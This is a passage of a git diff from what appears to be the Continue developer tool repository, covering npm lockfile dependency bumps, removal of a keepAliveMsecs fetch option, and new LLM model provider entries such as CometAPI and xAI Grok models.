"sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz", + "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/side-channel": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", @@ -2105,9 +2351,16 @@ } }, "node_modules/signal-exit": { - "version": "3.0.7", - "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", - "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==" + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } }, "node_modules/smart-buffer": { "version": "4.2.0", @@ -2153,11 +2406,6 @@ "node": ">=0.10.0" } }, - "node_modules/spawn-command": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/spawn-command/-/spawn-command-0.0.2.tgz", - "integrity": "sha512-zC8zGoGkmc8J9ndvml8Xksr1Amk9qBujgbF0JAIWO7kXr43w0h/0GJNM/Vustixu+YE8N/MTrQ7N31FvHUACxQ==" - }, "node_modules/sprintf-js": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz", @@ -2175,6 +2423,7 @@ "version": "1.3.0", "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", "dependencies": { "safe-buffer": "~5.2.0" } @@ -2183,6 +2432,22 @@ "version": "4.2.3", "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", @@ -2196,6 +2461,20 @@ "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", "dependencies": { "ansi-regex": "^5.0.1" }, @@ -2204,12 +2483,12 @@ } }, "node_modules/strtok3": { - "version": "10.2.2", - "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-10.2.2.tgz", - "integrity": "sha512-Xt18+h4s7Z8xyZ0tmBoRmzxcop97R4BAh+dXouUDCYn+Em+1P3qpkUfI5ueWLT8ynC5hZ+q4iPEmGG1urvQGBg==", + "version": "10.3.4", + "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-10.3.4.tgz", + "integrity": "sha512-KIy5nylvC5le1OdaaoCJ07L+8iQzJHGH6pWDuzS+d07Cu7n1MZ2x26P8ZKIWfbK02+XIL8Mp4RkWeqdUCrDMfg==", + "license": "MIT", "dependencies": { - "@tokenizer/token": "^0.3.0", - "peek-readable": "^7.0.0" + "@tokenizer/token": "^0.3.0" }, "engines": { "node": ">=18" @@ -2255,18 +2534,8 @@ "node_modules/through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", - "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==" - }, - "node_modules/tmp": { - "version": "0.0.33", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", - "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", - "dependencies": { - "os-tmpdir": "~1.0.2" - }, - "engines": { - "node": ">=0.6.0" - } + "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==", + "license": "MIT" }, "node_modules/toidentifier": { "version": "1.0.1", @@ -2277,10 +2546,12 @@ } }, "node_modules/token-types": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/token-types/-/token-types-6.0.0.tgz", - "integrity": "sha512-lbDrTLVsHhOMljPscd0yitpozq7Ga2M5Cvez5AjGg8GASBjtt6iERCAJ93yommPmz62fb45oFIXHEZ3u9bfJEA==", + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/token-types/-/token-types-6.1.1.tgz", + "integrity": "sha512-kh9LVIWH5CnL63Ipf0jhlBIy0UsrMj/NJDfpsy1SqOXlLKEVyXXYrnFxFT1yOOYVGBSApeVnjPw/sBz5BfEjAQ==", + "license": "MIT", "dependencies": { + "@borewit/text-codec": "^0.1.0", "@tokenizer/token": "^0.3.0", "ieee754": "^1.2.1" }, @@ -2301,6 +2572,7 @@ "version": "1.2.2", "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz", "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==", + "license": "MIT", "bin": { "tree-kill": "cli.js" } @@ -2314,6 +2586,7 @@ "version": "0.21.3", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "license": "(MIT OR CC0-1.0)", "engines": { "node": ">=10" }, @@ -2351,6 +2624,7 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/uid/-/uid-2.0.2.tgz", "integrity": "sha512-u3xV3X7uzvi5b1MncmZo3i2Aw222Zk1keqLA1YkHldREkAhAqi65wuPfe7lHx8H/Wzy+8CE7S7uS3jekIM5s8g==", + "license": "MIT", "dependencies": { "@lukeed/csprng": "^1.0.0" }, @@ -2359,9 +2633,10 @@ } }, "node_modules/uint8array-extras": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.4.0.tgz", - "integrity": "sha512-ZPtzy0hu4cZjv3z5NW9gfKnNLjoz4y6uv4HlelAjDK7sY/xOkKZv9xK/WQpcsBB3jEybChz9DPC2U/+cusjJVQ==", + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/uint8array-extras/-/uint8array-extras-1.5.0.tgz", + "integrity": "sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==", + "license": "MIT", "engines": { "node": ">=18" }, @@ -2373,6 +2648,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "license": "MIT", "engines": { "node": ">= 10.0.0" } @@ -2388,7 +2664,8 @@ "node_modules/util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "license": "MIT" }, "node_modules/utils-merge": { "version": "1.0.1", @@ -2428,10 +2705,26 @@ "webidl-conversions": "^3.0.0" } }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "license": "ISC", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, "node_modules/wrap-ansi": { "version": "6.2.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "license": "MIT", "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", @@ -2441,37 +2734,58 @@ "node": ">=8" } }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, "node_modules/y18n": { "version": "5.0.8", "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "license": "ISC", "engines": { "node": ">=10" } }, "node_modules/yargs": { - "version": "16.2.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", - "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "license": "MIT", "dependencies": { - "cliui": "^7.0.2", + "cliui": "^8.0.1", "escalade": "^3.1.1", "get-caller-file": "^2.0.5", "require-directory": "^2.1.1", - "string-width": "^4.2.0", + "string-width": "^4.2.3", "y18n": "^5.0.5", - "yargs-parser": "^20.2.2" + "yargs-parser": "^21.1.1" }, "engines": { - "node": ">=10" + "node": ">=12" } }, "node_modules/yargs-parser": { - "version": "20.2.9", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", - "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "license": "ISC", "engines": { - "node": ">=10" + "node": ">=12" } } } diff --git a/packages/continue-sdk/package.json b/packages/continue-sdk/package.json index ae682237e..cd07ad95a 100644 --- a/packages/continue-sdk/package.json +++ b/packages/continue-sdk/package.json @@ -15,7 +15,7 @@ "license": "Apache-2.0", "dependencies": { "@continuedev/config-yaml": "file:../config-yaml", - "@openapitools/openapi-generator-cli": "^2.19.1", + "@openapitools/openapi-generator-cli": "^2.24.0", "express": "^4.18.2", "swagger-ui-express": "^5.0.0" }, diff --git a/packages/fetch/src/getAgentOptions.test.ts b/packages/fetch/src/getAgentOptions.test.ts index e5e4dd549..d52943b5b 100644 --- a/packages/fetch/src/getAgentOptions.test.ts +++ b/packages/fetch/src/getAgentOptions.test.ts @@ -50,7 +50,6 @@ test("getAgentOptions returns basic configuration with default values", async () // Check default timeout (7200 seconds = 2 hours = 7,200,000 ms) expect(options.timeout).toBe(7200000); expect(options.sessionTimeout).toBe(7200000); - expect(options.keepAliveMsecs).toBe(7200000); expect(options.keepAlive).toBe(true); // Verify certificates array exists and contains items @@ -71,7 +70,6 @@ test("getAgentOptions respects custom timeout", async () => { // Check timeout values (300 seconds = 300,000 ms) expect(options.timeout).toBe(300000); expect(options.sessionTimeout).toBe(300000); - expect(options.keepAliveMsecs).toBe(300000); }); test("getAgentOptions uses verifySsl setting", async () => { diff --git a/packages/fetch/src/getAgentOptions.ts b/packages/fetch/src/getAgentOptions.ts index 2cdc1dbae..c7798e46f 100644 --- a/packages/fetch/src/getAgentOptions.ts +++ b/packages/fetch/src/getAgentOptions.ts @@ -21,7 +21,6 @@ export async function getAgentOptions( timeout, sessionTimeout: timeout, keepAlive: true, - keepAliveMsecs: timeout, }; // Handle ClientCertificateOptions @@ -38,9 +37,6 @@ export async function getAgentOptions( if (process.env.VERBOSE_FETCH) { console.log(`Fetch agent options:`); - console.log( - `\tTimeout (sessionTimeout/keepAliveMsecs): ${agentOptions.timeout}`, - ); console.log(`\tTotal CA certs: ${ca.length}`); console.log(`\tGlobal/Root CA certs: ${certsCache.fixedCa.length}`); console.log(`\tCustom CA certs: ${ca.length - certsCache.fixedCa.length}`); diff --git a/packages/hub/package-lock.json b/packages/hub/package-lock.json index 163312360..e719bb396 100644 --- a/packages/hub/package-lock.json +++ b/packages/hub/package-lock.json @@ -9,7 +9,7 @@ "version": "0.0.7", "license": "Apache-2.0", "dependencies": { - "@continuedev/config-yaml": "^1.14.0" + "@continuedev/config-yaml": "^1.26.0" }, "devDependencies": { "@types/jest": "^29.5.14", @@ -544,9 +544,9 @@ } }, "node_modules/@continuedev/config-yaml": { - "version": "1.14.0", - "resolved": "https://registry.npmjs.org/@continuedev/config-yaml/-/config-yaml-1.14.0.tgz", - "integrity": "sha512-MRi2SKTLkXme/lyFZruXGhWsaH9eMHvgkj/gAQcAhe6LxvbEOt2SyG7IS/t/8fDRJ2pXIjK/FtJpdKarXokJpA==", + "version": "1.26.0", + "resolved": "https://registry.npmjs.org/@continuedev/config-yaml/-/config-yaml-1.26.0.tgz", + "integrity": "sha512-v+JWNpB8ufsRcsmzsGolo+hqOpZNQQfqKXyY945XZDrctfpUdw1COBR9td2LTaAXhaqOPUqOWThanGV+lOy2Gw==", "license": "Apache-2.0", "dependencies": { "@continuedev/config-types": "^1.0.14", diff --git a/packages/hub/package.json b/packages/hub/package.json index 29f56463b..8ba936f24 100644 --- a/packages/hub/package.json +++ b/packages/hub/package.json @@ -12,7 +12,7 @@ "author": "Continue Dev, Inc.", "license": "Apache-2.0", "dependencies": { - "@continuedev/config-yaml": "^1.14.0" + "@continuedev/config-yaml": "^1.26.0" }, "devDependencies": { "@types/jest": "^29.5.14", diff --git a/packages/llm-info/package-lock.json b/packages/llm-info/package-lock.json index 7bc5faf29..4b7c0d122 100644 --- a/packages/llm-info/package-lock.json +++ b/packages/llm-info/package-lock.json @@ -1,12 +1,12 @@ { "name": "@continuedev/llm-info", - "version": "1.0.9", + "version": "1.0.10", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "@continuedev/llm-info", - "version": "1.0.9", + "version": "1.0.10", "license": "Apache-2.0", "devDependencies": { "@semantic-release/changelog": "^6.0.3", diff --git a/packages/llm-info/package.json b/packages/llm-info/package.json index 68cce0871..8f3d02962 100644 --- a/packages/llm-info/package.json +++ b/packages/llm-info/package.json @@ -1,6 +1,6 @@ { "name": "@continuedev/llm-info", - "version": "1.0.9", + "version": "1.0.10", "description": "", "main": "dist/index.js", "types": "dist/index.d.ts", diff --git a/packages/llm-info/src/index.ts b/packages/llm-info/src/index.ts index fe71f419d..c1aaa6643 100644 --- a/packages/llm-info/src/index.ts +++ b/packages/llm-info/src/index.ts @@ -2,6 +2,7 @@ import { Anthropic } from "./providers/anthropic.js"; import { Azure } from "./providers/azure.js"; import { Bedrock } from "./providers/bedrock.js"; import { Cohere } from "./providers/cohere.js"; +import { CometAPI } from "./providers/cometapi.js"; import { Gemini } from "./providers/gemini.js"; import { Mistral } from "./providers/mistral.js"; import { Ollama } from "./providers/ollama.js"; @@ -9,7 +10,7 @@ import { OpenAi } from "./providers/openai.js"; import { Vllm } from "./providers/vllm.js"; import { Voyage } from "./providers/voyage.js"; import { xAI } from "./providers/xAI.js"; -import { LlmInfo, ModelProvider, UseCase } from "./types.js"; +import { LlmInfoWithProvider, ModelProvider, UseCase } from "./types.js"; export const allModelProviders: ModelProvider[] = [ OpenAi, @@ -22,19 +23,36 @@ export const allModelProviders: ModelProvider[] = [ Vllm, Bedrock, Cohere, + CometAPI, xAI, ]; -export const allLlms: LlmInfo[] = allModelProviders.flatMap((provider) => - provider.models.map((model) => ({ ...model, provider: provider.id })), +export const allLlms: LlmInfoWithProvider[] = allModelProviders.flatMap( + (provider) => + provider.models.map((model) => ({ ...model, provider: provider.id })), ); -export function findLlmInfo(model: string): LlmInfo | undefined { +export function findLlmInfo( + model: string, + preferProviderId?: string, +): LlmInfoWithProvider | undefined { + if (preferProviderId) { + const provider = allModelProviders.find((p) => p.id === preferProviderId); + const info = provider?.models.find((llm) => + llm.regex ? llm.regex.test(model) : llm.model === model, + ); + if (info) { + return { + ...info, + provider: preferProviderId, + }; + } + } return allLlms.find((llm) => llm.regex ? llm.regex.test(model) : llm.model === model, ); } -export function getAllRecommendedFor(useCase: UseCase): LlmInfo[] { +export function getAllRecommendedFor(useCase: UseCase): LlmInfoWithProvider[] { return allLlms.filter((llm) => llm.recommendedFor?.includes(useCase)); } diff --git a/packages/llm-info/src/providers/cometapi.ts b/packages/llm-info/src/providers/cometapi.ts new file mode 100644 index 000000000..441f5bd75 --- /dev/null +++ b/packages/llm-info/src/providers/cometapi.ts @@ -0,0 +1,280 @@ +import { ModelProvider } from "../types.js"; + +export const CometAPI: ModelProvider = { + id: "cometapi", + displayName: "CometAPI", + models: [ + // GPT Series + { + model: "gpt-5-chat-latest", + displayName: "GPT-5 Chat Latest", + contextLength: 200000, + maxCompletionTokens: 8192, + description: + "Latest GPT-5 model optimized for chat conversations with enhanced reasoning capabilities.", + recommendedFor: ["chat"], + }, + { + model: "chatgpt-4o-latest", + displayName: "ChatGPT-4o Latest", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "Latest ChatGPT-4o model with improved performance and updated training data.", + recommendedFor: ["chat"], + }, + { + model: "gpt-5-mini", + displayName: "GPT-5 Mini", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "Efficient version of GPT-5 with faster response times while maintaining high quality.", + recommendedFor: ["chat"], + }, + { + model: "gpt-5-nano", + displayName: "GPT-5 Nano", + contextLength: 64000, + maxCompletionTokens: 2048, + description: + "Ultra-fast GPT-5 variant optimized for quick responses and simple tasks.", + recommendedFor: ["chat"], + }, + { + model: "gpt-5", + displayName: "GPT-5", + contextLength: 200000, + maxCompletionTokens: 8192, + description: + "Advanced GPT-5 model with state-of-the-art language understanding and generation.", + recommendedFor: ["chat"], + }, + { + model: "gpt-4o-mini", + displayName: "GPT-4o Mini", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "Compact version of GPT-4o with excellent performance for most use cases.", + recommendedFor: ["chat"], + }, + { + model: "o4-mini-2025-04-16", + displayName: "o4 Mini (2025-04-16)", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "Optimized o4 mini model with April 2025 training improvements.", + recommendedFor: ["chat"], + }, + { + model: "o3-pro-2025-06-10", + displayName: "o3 Pro (2025-06-10)", + contextLength: 200000, + maxCompletionTokens: 8192, + description: + "Professional-grade o3 model with enhanced reasoning and problem-solving capabilities.", + recommendedFor: ["chat"], + }, + + // Claude Series + { + model: "claude-opus-4-1-20250805", + displayName: "Claude Opus 4.1 (2025-08-05)", + contextLength: 200000, + maxCompletionTokens: 8192, + description: + "Most capable Claude model with exceptional reasoning, analysis, and creative capabilities.", + recommendedFor: ["chat"], + }, + { + model: "claude-opus-4-1-20250805-thinking", + displayName: "Claude Opus 4.1 Thinking (2025-08-05)", + contextLength: 200000, + maxCompletionTokens: 8192, + description: + "Claude Opus with enhanced thinking process for complex problem-solving tasks.", + recommendedFor: ["chat"], + }, + { + model: "claude-sonnet-4-20250514", + displayName: "Claude Sonnet 4 (2025-05-14)", + contextLength: 200000, + maxCompletionTokens: 8192, + description: + "Balanced Claude model offering excellent performance across various tasks.", + recommendedFor: ["chat"], + }, + { + model: "claude-sonnet-4-20250514-thinking", + displayName: "Claude Sonnet 4 Thinking (2025-05-14)", + contextLength: 200000, + maxCompletionTokens: 8192, + description: + "Claude Sonnet with enhanced reasoning capabilities for analytical tasks.", + recommendedFor: ["chat"], + }, + { + model: "claude-3-7-sonnet-latest", + displayName: "Claude 3.7 Sonnet Latest", + contextLength: 200000, + maxCompletionTokens: 4096, + description: + "Latest Claude 3.7 Sonnet with improved instruction following and safety.", + recommendedFor: ["chat"], + }, + { + model: "claude-3-5-haiku-latest", + displayName: "Claude 3.5 Haiku Latest", + contextLength: 200000, + maxCompletionTokens: 4096, + description: + "Fast and efficient Claude model optimized for quick responses.", + recommendedFor: ["chat"], + }, + + // Gemini Series + { + model: "gemini-2.5-pro", + displayName: "Gemini 2.5 Pro", + contextLength: 2000000, + maxCompletionTokens: 8192, + description: + "Advanced Gemini model with extensive context window and multimodal capabilities.", + recommendedFor: ["chat"], + }, + { + model: "gemini-2.5-flash", + displayName: "Gemini 2.5 Flash", + contextLength: 1000000, + maxCompletionTokens: 8192, + description: + "Fast Gemini model with large context window optimized for speed.", + recommendedFor: ["chat"], + }, + { + model: "gemini-2.5-flash-lite", + displayName: "Gemini 2.5 Flash Lite", + contextLength: 1000000, + maxCompletionTokens: 4096, + description: + "Lightweight version of Gemini Flash for efficient processing.", + recommendedFor: ["chat"], + }, + { + model: "gemini-2.0-flash", + displayName: "Gemini 2.0 Flash", + contextLength: 1000000, + maxCompletionTokens: 8192, + description: + "High-performance Gemini model with excellent speed-quality balance.", + recommendedFor: ["chat"], + }, + + // Grok Series + { + model: "grok-4-0709", + displayName: "Grok 4 (07-09)", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "Latest Grok model with improved reasoning and conversational abilities.", + recommendedFor: ["chat"], + }, + { + model: "grok-3", + displayName: "Grok 3", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "Advanced Grok model with enhanced understanding and generation capabilities.", + recommendedFor: ["chat"], + }, + { + model: "grok-3-mini", + displayName: "Grok 3 Mini", + contextLength: 64000, + maxCompletionTokens: 2048, + description: + "Compact Grok model optimized for efficiency and quick responses.", + recommendedFor: ["chat"], + }, + { + model: "grok-2-image-1212", + displayName: "Grok 2 Image (12-12)", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "Grok model with enhanced image understanding and multimodal capabilities.", + recommendedFor: ["chat"], + }, + + // DeepSeek Series + { + model: "deepseek-v3.1", + displayName: "DeepSeek V3.1", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "Latest DeepSeek model with improved reasoning and coding capabilities.", + recommendedFor: ["chat"], + }, + { + model: "deepseek-v3", + displayName: "DeepSeek V3", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "Advanced DeepSeek model with strong performance in technical domains.", + recommendedFor: ["chat"], + }, + { + model: "deepseek-r1-0528", + displayName: "DeepSeek R1 (05-28)", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "DeepSeek reasoning model optimized for complex problem-solving tasks.", + recommendedFor: ["chat"], + }, + { + model: "deepseek-chat", + displayName: "DeepSeek Chat", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "DeepSeek model specifically optimized for conversational interactions.", + recommendedFor: ["chat"], + }, + { + model: "deepseek-reasoner", + displayName: "DeepSeek Reasoner", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "DeepSeek model with enhanced reasoning capabilities for analytical tasks.", + recommendedFor: ["chat"], + }, + + // Qwen Series + { + model: "qwen3-30b-a3b", + displayName: "Qwen3 30B A3B", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "Large Qwen model with 30B parameters for high-quality text generation.", + recommendedFor: ["chat"], + }, + { + model: "qwen3-coder-plus-2025-07-22", + displayName: "Qwen3 Coder Plus (2025-07-22)", + contextLength: 128000, + maxCompletionTokens: 4096, + description: + "Qwen model specialized for coding tasks with enhanced programming capabilities.", + recommendedFor: ["chat"], + }, + ], +}; diff --git a/packages/llm-info/src/providers/gemini.ts b/packages/llm-info/src/providers/gemini.ts index 43eb8532b..6a6944ba0 100644 --- a/packages/llm-info/src/providers/gemini.ts +++ b/packages/llm-info/src/providers/gemini.ts @@ -14,17 +14,7 @@ export const Gemini: ModelProvider = { regex: /gemini-2\.5-pro-preview/i, recommendedFor: ["chat"], }, - { - model: "gemini-2.5-pro-exp-03-25", - displayName: "Gemini 2.5 Pro Experimental", - description: - "Experimental release of Gemini 2.5 Pro with 1M token context window", - contextLength: 1048576, - maxCompletionTokens: 65536, - mediaTypes: AllMediaTypes, - regex: /gemini-2\.5-pro-exp/i, - recommendedFor: ["chat"], - }, + { model: "gemini-2.5-flash-preview-05-20", displayName: "Gemini 2.5 Flash Preview", diff --git a/packages/llm-info/src/providers/openai.ts b/packages/llm-info/src/providers/openai.ts index 820559308..730495e9c 100644 --- a/packages/llm-info/src/providers/openai.ts +++ b/packages/llm-info/src/providers/openai.ts @@ -79,9 +79,17 @@ export const OpenAi: ModelProvider = { { model: "gpt-5", displayName: "GPT-5", + contextLength: 128000, + maxCompletionTokens: 16384, + regex: /^gpt-5$/, + recommendedFor: ["chat"], + }, + { + model: "gpt-5-codex", + displayName: "GPT-5 Codex", contextLength: 400000, maxCompletionTokens: 128000, - regex: /gpt-5/, + regex: /gpt-5-codex/, recommendedFor: ["chat"], }, // gpt-4o diff --git a/packages/llm-info/src/providers/vertexai.ts b/packages/llm-info/src/providers/vertexai.ts index 7f4bddffa..cf334ed3a 100644 --- a/packages/llm-info/src/providers/vertexai.ts +++ b/packages/llm-info/src/providers/vertexai.ts @@ -29,15 +29,7 @@ export const Gemini: ModelProvider = { regex: /gemini-2\.0-flash-exp-image-generation/i, recommendedFor: ["chat"], }, - { - model: "gemini-2.5-pro-exp-03-25", - displayName: "Gemini 2.5 Pro Exp", - contextLength: 1048576, - maxCompletionTokens: 65536, - mediaTypes: AllMediaTypes, - regex: /gemini-2\.5-pro-exp-03-25/i, - recommendedFor: ["chat"], - }, + { model: "gemini-1.5-flash", displayName: "Gemini 1.5 Flash", diff --git a/packages/llm-info/src/providers/xAI.ts b/packages/llm-info/src/providers/xAI.ts index 96a51c9be..17ec83fa7 100644 --- a/packages/llm-info/src/providers/xAI.ts +++ b/packages/llm-info/src/providers/xAI.ts @@ -7,6 +7,60 @@ export const xAI: ModelProvider = { displayName: "Grok Beta", contextLength: 128000, recommendedFor: ["chat"], + regex: /grok-beta/, + }, + { + model: "grok-2", + displayName: "Grok 2", + contextLength: 131072, + recommendedFor: ["chat"], + regex: /grok-2/, + }, + { + model: "grok-3-mini", + displayName: "Grok 3 Mini", + contextLength: 131072, + maxCompletionTokens: 8000, + recommendedFor: ["chat"], + regex: /grok-3-mini/, + }, + { + model: "grok-3", + displayName: "Grok 3", + contextLength: 131072, + recommendedFor: ["chat"], + regex: /grok-3/, + }, + { + model: "grok-4-fast-reasoning", + displayName: "Grok 4 Fast Reasoning", + contextLength: 2000000, + maxCompletionTokens: 30000, + 